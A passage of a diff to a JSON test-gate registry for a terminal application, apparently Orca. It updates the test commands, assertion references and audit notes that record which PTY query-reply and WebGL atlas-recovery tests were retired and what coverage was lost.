macOS-hosted Docker OpenSSH test proves an upstream-node-pty Linux relay keeps OSC/DA1 replies out of the next fish child's stdin. No live daemon, paired-runtime, WSL, physical Linux/Windows client, or binary mixed-version run is registered.",
       "motivatingLinks": [
         "https://github.com/stablyai/orca/issues/13137",
         "https://github.com/stablyai/orca/issues/7329",
         "https://github.com/stablyai/orca/issues/13892"
       ],
       "invariant": "The desktop PTY input queue retains at most 64 explicitly sourced pending terminal query replies and 4096 UTF-16 code units. Every retained reply reaches the provider as one atomic write, and ordinary, acknowledged, and reply input share one invocation-ordered FIFO so no later write overtakes an acknowledged write. Reentrant write callbacks cannot start a second drain worker or strand input admitted after clear/reuse. A reply's own echo is contained on the output side by projecting its known echo shapes; the ESC-initial verbatim shape is matched only when complete, never held as a partial, so a query torn at its own ESC is still answered. Overflow removes only the oldest query replies, never ordinary input except the documented modified-F3/CPR byte collision, and failure or teardown cannot clear a newer queue generation or strand an acknowledged promise.",
-      "oracle": "Audit3086: retire the immediate-reply ceiling and thrown renderer-write recovery aliases. Narrow FIFO coverage to deferred preconnect validation and teardown coverage to natural-exit stale ordinary/accepted tails; live acknowledged barriers and disconnect/detach branches are intentionally retired. Prior queue cleanup and unchanged Electron receipts remain exact; no replacement or fresh execution is claimed. Audit1878 retires the dated reduced-source unit receipt. Only the unchanged macOS local Electron receipts remain current, scoped to their exact commands; reduced unit selectors and SSH have no current execution receipt. Historical pre-audit oracle: Synchronously enqueue separate 10,000-entry OSC and DA1 reply floods before the scheduled drain and assert that only the initial immediate reply and newest 64 pending replies are written, each as one provider write, before a trailing keystroke. Stall an acknowledged write between earlier and later ordinary/reply input, then require teardown to settle it and same-id reuse to receive no stale tail. Reenter the queue synchronously from an acknowledged write with both enqueue and clear/reuse, requiring one drain and fresh input delivery only after the stale acknowledged write settles false. At the host boundary, defer an OSC reply and assert that separate or legacy-coalesced DA1/CPR replies flush after it in observed query order. At the remote-runtime boundary, preserve separate writes around pending ordinary input, async validation, and viewport-claim buffering. Repeat behind 10,000 ordinary inputs and exercise the text ceiling, real xterm generation, provider-write failure, rejected yield, and clear/reuse generation fencing.",
+      "oracle": "Audit3362 retires the 10,000-query newest64 viewport-claim flood-cap assertion and second-chunk refusal, coalescing/burst/limit/yield and constant examples. The surviving ordinary/query/ordinary binary-frame ordering and UTF8 emoji-safe acknowledged chunk cases retain narrower coverage. Unit commands/test-file selectors remain; the first binary-order assertion stays exact. Two unrelated macOS E2E receipts remain verbatim with their original scope. No equivalent replacement or fresh runtime/PTY/provider/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit 3312 reduces remote-runtime-pty-batching.test.ts, intentionally losing idle leading/trailing coalescing, leading-edge-disabled, accumulated byte-ceiling flush, standalone synchronous oversized-input rejection, accepted-input validation yield, deferred pending-tail byte order, and queued-viewport clear/flush and timer-cancellation alarms. The unchanged UTF-8 splitting, validation barrier ordering and asynchronous oversized-input nondelivery cases are narrower, not equivalent replacements. The barrier assertion and both existing Electron receipts remain unchanged and do not validate these retired cases. No fresh runtime, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3292 retires the empty-queue immediate query-reply delivery example from remote-runtime-pty-query-reply-immediate.test.ts. Pending ordinary-input separation and asynchronous paste-validation ordering cases remain byte-identical, matching the existing assertion reference. The no-pending-input delivery alarm is intentionally lost without equivalent replacement. Existing selectors, unchanged local Electron receipts and historical receipts remain exact; no new runtime, PTY deadline, platform or mixed-version result is claimed. Audit3086: retire the immediate-reply ceiling and thrown renderer-write recovery aliases. Narrow FIFO coverage to deferred preconnect validation and teardown coverage to natural-exit stale ordinary/accepted tails; live acknowledged barriers and disconnect/detach branches are intentionally retired. Prior queue cleanup and unchanged Electron receipts remain exact; no replacement or fresh execution is claimed. Audit1878 retires the dated reduced-source unit receipt. Only the unchanged macOS local Electron receipts remain current, scoped to their exact commands; reduced unit selectors and SSH have no current execution receipt. Historical pre-audit oracle: Synchronously enqueue separate 10,000-entry OSC and DA1 reply floods before the scheduled drain and assert that only the initial immediate reply and newest 64 pending replies are written, each as one provider write, before a trailing keystroke. Stall an acknowledged write between earlier and later ordinary/reply input, then require teardown to settle it and same-id reuse to receive no stale tail. Reenter the queue synchronously from an acknowledged write with both enqueue and clear/reuse, requiring one drain and fresh input delivery only after the stale acknowledged write settles false. At the host boundary, defer an OSC reply and assert that separate or legacy-coalesced DA1/CPR replies flush after it in observed query order. At the remote-runtime boundary, preserve separate writes around pending ordinary input, async validation, and viewport-claim buffering. Repeat behind 10,000 ordinary inputs and exercise the text ceiling, real xterm generation, provider-write failure, rejected yield, and clear/reuse generation fencing.",
       "commands": [
         "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/input/pty-input-write-queue.test.ts src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-input-write.test.ts src/shared/terminal/protocol/queries/terminal-query-reply.test.ts src/shared/terminal/pty/ingress/pty-startup-ingress-live-query-reply.test.ts src/shared/terminal/pty/ingress/pty-startup-reply-echo-shapes.test.ts",
         "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/output/remote-runtime-pty-batching.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-query-reply-immediate.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-coalescing.test.ts",
@@ -11891,8 +11613,7 @@
         {
           "file": "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-coalescing.test.ts",
           "assertions": [
-            "viewport-claim buffering replays ordinary input, a query reply, and later ordinary input as three ordered stream frames",
-            "a 10,000-reply viewport-claim flood retains and replays only the newest 64 query replies"
+            "viewport-claim buffering replays ordinary input, a query reply, and later ordinary input as three ordered stream frames"
           ]
         },
         {
@@ -11969,7 +11690,11 @@
         "Reply overload intentionally sheds the oldest synthetic replies; the modified-F3/CPR byte collision shares that budget, and live application behavior under a pathological query flood is not measured.",
         "Audit1878 retires this complete dated receipt because a source in its selector was reduced. It does not validate the reduced selector. Original receipt verbatim:\n{\n          \"date\": \"2026-08-30\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-input-write-queue.test.ts src/renderer/src/components/terminal-pane/pty-transport-input-write.test.ts src/shared/terminal-query-reply.test.ts src/shared/pty-startup-ingress-live-query-reply.test.ts src/shared/pty-startup-reply-echo-shapes.test.ts\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/input/pty-input-write-queue.test.ts src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-input-write.test.ts src/shared/terminal/protocol/queries/terminal-query-reply.test.ts src/shared/terminal/pty/ingress/pty-startup-ingress-live-query-reply.test.ts src/shared/terminal/pty/ingress/pty-startup-reply-echo-shapes.test.ts\",\n          \"result\": \"passed\",\n          \"durationSeconds\": 15,\n          \"summary\": \"Five files and 149 tests passed in 15.16 seconds, including explicit IPC reply-source routing, the 10,000-reply count and text ceilings, 10,000-entry ordinary backlog preservation, acknowledged-write FIFO barriers, synchronous reentrancy fencing, prompt teardown settlement, same-id generation fencing, real xterm OSC query floods, single-shot drain-failure recovery, and one-reply-per-write echo containment.\"\n        }",
         "Audit1878 removes standalone reply-classifier inventory, ordinary-keystroke helper/no-write checks and a latency-order title that never executes the host path from pty-startup-ingress-live-query-reply.test.ts. It also removes projection needle/refusal/holdPartial and ConPTY/WSL string/array inventories from pty-startup-reply-echo-shapes.test.ts, including the direct short-needle and ESC-hold guard alarms. Captured echo matching and actual ingress writes/output state remain, without equivalent replacement coverage. Only the two unchanged macOS local Electron receipts remain active; neither proves the reduced five-file unit selector, SSH, a new soak result, or a new measured budget.",
-        "Audit3086: retire the immediate-reply ceiling and thrown renderer-write recovery aliases. Narrow FIFO coverage to deferred preconnect validation and teardown coverage to natural-exit stale ordinary/accepted tails; live acknowledged barriers and disconnect/detach branches are intentionally retired. Prior queue cleanup and unchanged Electron receipts remain exact; no replacement or fresh execution is claimed."
+        "Audit3086: retire the immediate-reply ceiling and thrown renderer-write recovery aliases. Narrow FIFO coverage to deferred preconnect validation and teardown coverage to natural-exit stale ordinary/accepted tails; live acknowledged barriers and disconnect/detach branches are intentionally retired. Prior queue cleanup and unchanged Electron receipts remain exact; no replacement or fresh execution is claimed.",
+        "Audit 3292 retires the empty-queue immediate query-reply delivery example from remote-runtime-pty-query-reply-immediate.test.ts. Pending ordinary-input separation and asynchronous paste-validation ordering cases remain byte-identical, matching the existing assertion reference. The no-pending-input delivery alarm is intentionally lost without equivalent replacement. Existing selectors, unchanged local Electron receipts and historical receipts remain exact; no new runtime, PTY deadline, platform or mixed-version result is claimed.",
+        "Audit 3312 reduces remote-runtime-pty-batching.test.ts, intentionally losing idle leading/trailing coalescing, leading-edge-disabled, accumulated byte-ceiling flush, standalone synchronous oversized-input rejection, accepted-input validation yield, deferred pending-tail byte order, and queued-viewport clear/flush and timer-cancellation alarms. The unchanged UTF-8 splitting, validation barrier ordering and asynchronous oversized-input nondelivery cases are narrower, not equivalent replacements. The barrier assertion and both existing Electron receipts remain unchanged and do not validate these retired cases. No fresh runtime, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed.",
+        "Audit3362 retires the 10,000-query newest64 viewport-claim flood-cap assertion and second-chunk refusal, coalescing/burst/limit/yield and constant examples. The surviving ordinary/query/ordinary binary-frame ordering and UTF8 emoji-safe acknowledged chunk cases retain narrower coverage. Unit commands/test-file selectors remain; the first binary-order assertion stays exact. Two unrelated macOS E2E receipts remain verbatim with their original scope. No equivalent replacement or fresh runtime/PTY/provider/UI/mobile/mixed-version/cross-platform evidence is claimed.",
+        "Audit3362 historical original assertionRefs object, preserved verbatim; retired source claims are not active evidence or replacement coverage:\n{\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-coalescing.test.ts\",\n          \"assertions\": [\n            \"viewport-claim buffering replays ordinary input, a query reply, and later ordinary input as three ordered stream frames\",\n            \"a 10,000-reply viewport-claim flood retains and replays only the newest 64 query replies\"\n          ]\n        }"
       ],
       "demotionRule": "Keep experimental or revert if ordinary input is evicted, pending replies exceed either ceiling, retained replies are coalesced, a trailing key sits behind more than the bounded reply window, or the gate develops unexplained flakes."
     },
@@ -12255,42 +11980,25 @@
       "providers": ["local", "daemon", "ssh", "remote-runtime"],
       "coveredPlatforms": ["macos"],
       "coveredProviders": ["local"],
-      "coverageNotes": "Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/pty-connection-hidden-tui-snapshot-replay.spec.ts: Loses rich hidden snapshot sequence replay/grid resize and forced repaint after hidden snapshot alarms, including live-trigger deduplication. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic renderer contracts require foreground renderer-risk, synchronized, hidden, and alternate-screen PTY output to stay on pane-local repaint paths without a global atlas reset. Separate contracts preserve explicit paste, reveal, visibility-resume, system-resume, and confirmed-desync recovery. A macOS Electron run verifies that a document visibility cycle preserves real WebGL atlases and terminal pixels; the candidate has not been rerun against an isolated live paired server. The test-value audit removed registry recovery fanout, visibility, ordering and failure-isolation assertions. The remaining registry test constrains diagnostic sampling only and is excluded from this gate. No equivalent recovery coverage is claimed. Completed settled tab-reveal repaint execution is not covered after removal of pane-reveal-repaint.test.ts. The separate terminal-visibility-resume tests assert mocked scheduling and presentation calls; they do not establish completed repaint execution. Audit1342: src/renderer/src/lib/pane-manager/pane-webgl-context-recovery.test.ts removed. Context resume/reveal retry and deferred rebuild mock-pane alarms disappear. No equivalent replacement coverage is claimed. Audit1391: src/renderer/src/components/terminal-pane/pty-connection-remote-pause-drop-notice.spec.ts reduced. Lose repeated quiet switches avoiding snapshots and legacy host without drop-report capability requesting a snapshot. Retained imported registrar uses fake transport/xterm writes, exercising real gap/restore lifecycle rather than actual terminal rendering. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result.",
+      "coverageNotes": "Audit3349 retires the whole terminal-render-desync-sentinel suite, including the same-cells persistence/recovery alarm, without equivalent replacement. Its unit command selector, test-file selector and assertion reference are removed prospectively. Earlier global-effects/window-wake retirements and the retired dated sentinel receipt remain historical verbatim. Two unrelated macOS document-visibility E2E receipts remain verbatim; the frozen static closure does not select changed tests through their literal roots. No fresh GPU/rendered UI, runtime, historical-import, mobile, mixed-version or cross-platform validation is claimed. NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence. Historical prior account (preserved verbatim): Audit3335 retires the complete mocked window-wake recovery suite (11 authored registrations/12 expanded cases), intentionally losing fullscreen atlas-preservation, wake callback ordering, deferred-DPR deduplication/repair and private frame-budget alarms without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/GPU/focus, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: recovers visible terminal rendering and input when the window regains focus — Whole suite: fake React useEffect immediately invokes bodies and ignores cleanup/deps; fake useRef/store hooks plus mocked pane manager only assert callback choreography. Does not exercise window focus, actual input or pixels. Retires focus wake wiring alarm.; clears WebGL texture atlases when the OS resumes — Whole suite: same fake-hook harness invokes captured OS resume callback and counts mocked atlas-clear/repaint methods. No GPU, actual OS resume, or real hook lifetime. Retires atlas clear wiring alarm.; preserves WebGL texture atlases when the active terminal document becomes visible — Whole suite: direct fake document visibility listener and mock-call absence/presence under fake hooks cannot establish real WebGL preservation or cleanup. Retires visibility wake wiring alarm.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/pty-connection-hidden-tui-snapshot-replay.spec.ts: Loses rich hidden snapshot sequence replay/grid resize and forced repaint after hidden snapshot alarms, including live-trigger deduplication. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic renderer contracts require foreground renderer-risk, synchronized, hidden, and alternate-screen PTY output to stay on pane-local repaint paths without a global atlas reset. Separate contracts preserve explicit paste, reveal, visibility-resume, system-resume, and confirmed-desync recovery. A macOS Electron run verifies that a document visibility cycle preserves real WebGL atlases and terminal pixels; the candidate has not been rerun against an isolated live paired server. The test-value audit removed registry recovery fanout, visibility, ordering and failure-isolation assertions. The remaining registry test constrains diagnostic sampling only and is excluded from this gate. No equivalent recovery coverage is claimed. Completed settled tab-reveal repaint execution is not covered after removal of pane-reveal-repaint.test.ts. The separate terminal-visibility-resume tests assert mocked scheduling and presentation calls; they do not establish completed repaint execution. Audit1342: src/renderer/src/lib/pane-manager/pane-webgl-context-recovery.test.ts removed. Context resume/reveal retry and deferred rebuild mock-pane alarms disappear. No equivalent replacement coverage is claimed. Audit1391: src/renderer/src/components/terminal-pane/pty-connection-remote-pause-drop-notice.spec.ts reduced. Lose repeated quiet switches avoiding snapshots and legacy host without drop-report capability requesting a snapshot. Retained imported registrar uses fake transport/xterm writes, exercising real gap/restore lifecycle rather than actual terminal rendering. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result.",
       "motivatingLinks": [
         "https://github.com/stablyai/orca/pull/7054",
         "https://github.com/stablyai/orca/pull/7604",
         "https://github.com/stablyai/orca/issues/12094"
       ],
       "invariant": "Ordinary PTY output must never clear the shared WebGL glyph atlas, including synchronized frames, hidden output, renderer-risk glyphs, and alternate-screen entry, redraw, or exit. Affected visible panes still receive pane-local refresh after parsing. Explicit paste, reveal, visibility-resume, system-resume, context-loss, and confirmed-desync recovery remain available and may reset visible renderers.",
-      "oracle": "Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Parse foreground renderer-risk, synchronized, hidden, and alternate-screen PTY output and require pane-local refresh where needed with zero calls to shared reset-and-refresh recovery. Require the atlas-recovery module to expose only explicit lifecycle entry points, then verify paste recovery. Completed settled tab-reveal repaint is not verified by the remaining unit evidence. Dispatch a visible document visibilitychange and require atlas-preserving wake recovery. Separately, drive an Electron visibility cycle with two real WebGL panes, require zero atlas clears, and retain at least 85% of each pane's baseline ink pixels.",
+      "oracle": "Audit3349 retires the whole terminal-render-desync-sentinel suite, including the same-cells persistence/recovery alarm, without equivalent replacement. Its unit command selector, test-file selector and assertion reference are removed prospectively. Earlier global-effects/window-wake retirements and the retired dated sentinel receipt remain historical verbatim. Two unrelated macOS document-visibility E2E receipts remain verbatim; the frozen static closure does not select changed tests through their literal roots. No fresh GPU/rendered UI, runtime, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit3335 retires the complete mocked window-wake recovery suite (11 authored registrations/12 expanded cases), intentionally losing fullscreen atlas-preservation, wake callback ordering, deferred-DPR deduplication/repair and private frame-budget alarms without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/GPU/focus, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: recovers visible terminal rendering and input when the window regains focus — Whole suite: fake React useEffect immediately invokes bodies and ignores cleanup/deps; fake useRef/store hooks plus mocked pane manager only assert callback choreography. Does not exercise window focus, actual input or pixels. Retires focus wake wiring alarm.; clears WebGL texture atlases when the OS resumes — Whole suite: same fake-hook harness invokes captured OS resume callback and counts mocked atlas-clear/repaint methods. No GPU, actual OS resume, or real hook lifetime. Retires atlas clear wiring alarm.; preserves WebGL texture atlases when the active terminal document becomes visible — Whole suite: direct fake document visibility listener and mock-call absence/presence under fake hooks cannot establish real WebGL preservation or cleanup. Retires visibility wake wiring alarm.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Parse foreground renderer-risk, synchronized, hidden, and alternate-screen PTY output and require pane-local refresh where needed with zero calls to shared reset-and-refresh recovery. Require the atlas-recovery module to expose only explicit lifecycle entry points, then verify paste recovery. Completed settled tab-reveal repaint is not verified by the remaining unit evidence. Dispatch a visible document visibilitychange and require atlas-preserving wake recovery. Separately, drive an Electron visibility cycle with two real WebGL panes, require zero atlas clears, and retain at least 85% of each pane's baseline ink pixels.",
       "commands": [
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-window-wake-recovery.test.ts src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-pane-global-effects-window-focus-recovery.test.ts src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-sentinel.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts",
         "pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
         "pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1"
       ],
       "testFiles": [
-        "src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-window-wake-recovery.test.ts",
-        "src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-pane-global-effects-window-focus-recovery.test.ts",
-        "src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-sentinel.test.ts",
         "src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts",
         "src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts",
         "tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts"
       ],
       "assertionRefs": [
-        {
-          "file": "src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-window-wake-recovery.test.ts",
-          "assertions": ["preserves the glyph atlas when a fullscreen Space becomes visible"]
-        },
-        {
-          "file": "src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-pane-global-effects-window-focus-recovery.test.ts",
-          "assertions": [
-            "preserves WebGL texture atlases when the active terminal document becomes visible"
-          ]
-        },
-        {
-          "file": "src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-sentinel.test.ts",
-          "assertions": ["persists and recovers after the same cells stay missing twice"]
-        },
         {
           "file": "src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts",
           "assertions": ["keeps hidden synchronized output off the global atlas recovery path"]
@@ -12344,6 +12052,9 @@
         "Add Linux and Windows WebGL visibility evidence before claiming cross-platform visual coverage."
       ],
       "knownGaps": [
+        "NEXT65 current scope qualification: The NEXT65 knownGaps entries below govern the changed selectors and qualify any broader coverage implication in this gate’s unchanged oracle/coverageNotes narratives. Those narratives and preserved dated evidenceRuns retain their historical text and original exact execution scopes only; no fresh execution, transferred pass or equivalent replacement coverage is claimed. Upstream case removals remain upstream; original NEXT65 proposal descriptions grant no duplicate retirement credit.",
+        "NEXT65 active selector scope reduction (including directory-selected whole-file retirements): src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts. Remove complete registrations or registrar files within the selected scope for src/renderer/src/components/terminal-pane/pty-connection/reattach/pty-connection-daemon-snapshot-replay.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/emulation/pty-connection-mode-2031-subscriptions.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/reattach/pty-connection-stale-daemon-snapshot-replay.spec.ts. Intentionally lose these named regression alarms without replacement: catches a subscribed pane up once per mode change across repeated reconnects — Mode2031 theme reporting catch-up/deduplication across repeated reconnects loses this direct protocol example.; defers to the viewer holding the grid, then catches up once on release — Held-grid viewer deferral and one catch-up/current-mode resending on release lose this direct protocol example.; clears the captured pen for a normal-buffer fallback reattach — Fallback normal-buffer reattach clearing captured pen and dirty background loses this direct example.; waits for a recovered destination fit before forwarding its grid or live output — Recovered destination fitting before forwarding grid or live output loses this direct example.; suppresses the deferred reattach grid push when mobile claims the PTY while hidden — Mobile takeover while hidden suppressing deferred reattach grid forwarding loses this direct example.; drops stale callbacks but delivers fresh replacement output after an old replay clear — Fresh replacement output winning over stale callbacks after old replay clear loses this direct example.. Surviving parent statements and sibling registrations are preserved, but these reduced parent selectors have no fresh execution or transferred historical pass. Unrelated complete dated receipts retain only their original exact scopes; no equivalent replacement, rendered UI, provider, mobile, or cross-platform coverage is claimed.",
+        "NEXT65 historical original active parent-selector fields (verbatim native JSON values; not current coverage):\ncommands: [\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-sentinel.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts\",\n        \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n        \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\"\n      ]\ntestFiles: [\n        \"src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-sentinel.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts\",\n        \"tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts\"\n      ]\nassertionRefs: [\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-sentinel.test.ts\",\n          \"assertions\": [\"persists and recovers after the same cells stay missing twice\"]\n        },\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts\",\n          \"assertions\": [\"keeps hidden synchronized output off the global atlas recovery path\"]\n        },\n        {\n          \"file\": \"tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts\",\n          \"assertions\": [\n            \"preserves the WebGL atlas and keeps terminal text painted after document visibility resumes\"\n          ]\n        }\n      ]",
         "Audit3061 retires the park-model supplied snapshot suite and nominal mode, cursor, focus, geometry and remote resume metadata variants. Their distinct alarms are intentionally lost; six retained mode/remote cases preserve selected tail-order, authority and parse-readiness boundaries without equivalent replacement. Existing selectors and dated evidence retain their original scope.",
         "Audit3053 reduces hidden-replay coverage by retiring nominal overlap, resize, cursor metadata and standalone stalled-restore variants. Timeout, overflow, identity/generation fences and retained live-output coordination remain; the removed alarms are intentionally lost without equivalent replacement. Existing commands, assertion references and dated evidence retain their original scope.",
         "Audit3037 removes seven supplied-input baseline cases from the terminal-input-gating registrar. Input-and-repaint wrapper selectors and unrelated assertions remain; historical receipts do not validate the reduced source bytes. No renewed atlas, renderer, native or performance evidence is claimed.",
@@ -12359,7 +12070,15 @@
         "Audit1342 historical assertion inventory for deleted/reduced sources; not current validated assertions:\n[\n  {\n    \"file\": \"src/renderer/src/lib/pane-manager/pane-webgl-context-recovery.test.ts\",\n    \"assertions\": [\n      \"recovers a context-lost pane on the next rendering resume\"\n    ]\n  }\n]",
         "Audit1391: src/renderer/src/components/terminal-pane/pty-connection-remote-pause-drop-notice.spec.ts reduced. Lose repeated quiet switches avoiding snapshots and legacy host without drop-report capability requesting a snapshot. Retained imported registrar uses fake transport/xterm writes, exercising real gap/restore lifecycle rather than actual terminal rendering. No equivalent replacement coverage is claimed. Existing exact primary-selector receipts remain unchanged.",
         "Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/pty-connection-hidden-tui-snapshot-replay.spec.ts: Loses rich hidden snapshot sequence replay/grid resize and forced repaint after hidden snapshot alarms, including live-trigger deduplication. No equivalent replacement coverage or fresh result is claimed.",
-        "Issue #22458 removes non-Windows repaint tests that only assert private synchronous refresh calls. Their renderer-risk and alternate-screen atlas assertions are no longer registered; historical results do not validate equivalent coverage."
+        "Issue #22458 removes non-Windows repaint tests that only assert private synchronous refresh calls. Their renderer-risk and alternate-screen atlas assertions are no longer registered; historical results do not validate equivalent coverage.",
+        "Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: recovers visible terminal rendering and input when the window regains focus — Whole suite: fake React useEffect immediately invokes bodies and ignores cleanup/deps; fake useRef/store hooks plus mocked pane manager only assert callback choreography. Does not exercise window focus, actual input or pixels. Retires focus wake wiring alarm.; clears WebGL texture atlases when the OS resumes — Whole suite: same fake-hook harness invokes captured OS resume callback and counts mocked atlas-clear/repaint methods. No GPU, actual OS resume, or real hook lifetime. Retires atlas clear wiring alarm.; preserves WebGL texture atlases when the active terminal document becomes visible — Whole suite: direct fake document visibility listener and mock-call absence/presence under fake hooks cannot establish real WebGL preservation or cleanup. Retires visibility wake wiring alarm.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed.",
+        "Audit3335 retires the complete mocked window-wake recovery suite (11 authored registrations/12 expanded cases), intentionally losing fullscreen atlas-preservation, wake callback ordering, deferred-DPR deduplication/repair and private frame-budget alarms without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/GPU/focus, rendered UI, mobile, mixed-version or cross-platform validation is claimed.",
